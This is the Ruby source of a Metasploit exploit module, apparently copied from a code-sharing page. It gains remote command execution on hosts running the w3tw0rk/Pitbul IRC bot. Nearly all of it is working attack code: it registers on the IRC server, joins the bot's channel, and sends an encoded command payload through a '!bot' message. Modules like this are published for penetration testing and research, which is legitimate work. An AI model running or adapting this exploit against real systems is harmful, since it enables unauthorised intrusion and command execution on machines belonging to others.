Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'w3tw0rk / Pitbul IRC Bot  Remote Code Execution',
14
      'Description'    => %q{
15
          This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
16
        },
17
      'Author'         =>
18
        [
19
          'Jay Turla'
20
        ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'OSVDB', '120384' ],
25
          [ 'EDB', '36652' ]
26
        ],
27
      'Platform'       => %w{ unix win },
28
      'Arch'           => ARCH_CMD,
29
      'Payload'        =>
30
        {
31
          'Space'    => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
32
          'DisableNops' => true,
33
          'Compat'      =>
34
            {
35
              'PayloadType' => 'cmd'
36
            }
37
        },
38
      'Targets'  =>
39
        [
40
          [ 'w3tw0rk', { } ]
41
        ],
42
      'Privileged'     => false,
43
      'DisclosureDate' => '2015-06-04',
44
      'DefaultTarget'  => 0))
45

46
    register_options(
47
      [
48
        Opt::RPORT(6667),
49
        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
50
        OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
51
        OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
52
      ])
53
  end
54

55
  def post_auth?
56
    true
57
  end
58

59
  def check
60
    connect
61

62
    res = register(sock)
63
    if res =~ /463/ || res =~ /464/
64
      vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
65
      return Exploit::CheckCode::Unknown
66
    end
67

68
    res = join(sock)
69
    if !res =~ /353/ && !res =~ /366/
70
      vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
71
      return Exploit::CheckCode::Unknown
72
    end
73

74
    quit(sock)
75
    disconnect
76

77
    if res =~ /auth/ && res =~ /logged in/
78
      Exploit::CheckCode::Vulnerable
79
    else
80
      Exploit::CheckCode::Safe
81
    end
82
  end
83

84
  def send_msg(sock, data)
85
    sock.put(data)
86
    data = ""
87
    begin
88
      read_data = sock.get_once(-1, 1)
89
      while !read_data.nil?
90
        data << read_data
91
        read_data = sock.get_once(-1, 1)
92
      end
93
    rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
94
      elog(e)
95
    end
96

97
    data
98
  end
99

100
  def register(sock)
101
    msg = ""
102

103
    if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
104
      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
105
    end
106

107
    if datastore['NICK'].length > 9
108
      nick = rand_text_alpha(9)
109
      print_error("The nick is longer than 9 characters, using #{nick}")
110
    else
111
      nick = datastore['NICK']
112
    end
113

114
    msg << "NICK #{nick}\r\n"
115
    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
116

117
    send_msg(sock,msg)
118
  end
119

120
  def join(sock)
121
    join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
122
    send_msg(sock, join_msg)
123
  end
124

125
  def w3tw0rk_command(sock)
126
    encoded = payload.encoded
127
    command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
128
    send_msg(sock, command_msg)
129
  end
130

131
  def quit(sock)
132
    quit_msg = "QUIT :bye bye\r\n"
133
    sock.put(quit_msg)
134
  end
135

136
  def exploit
137
    connect
138

139
    print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
140
    res = register(sock)
141
    if res =~ /463/ || res =~ /464/
142
      print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
143
      return
144
    end
145

146
    print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
147
    res = join(sock)
148
    if !res =~ /353/ && !res =~ /366/
149
      print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
150
      return
151
    end
152

153
    print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")
154
    w3tw0rk_command(sock)
155

156
    quit(sock)
157
    disconnect
158
  end
159
end
160

161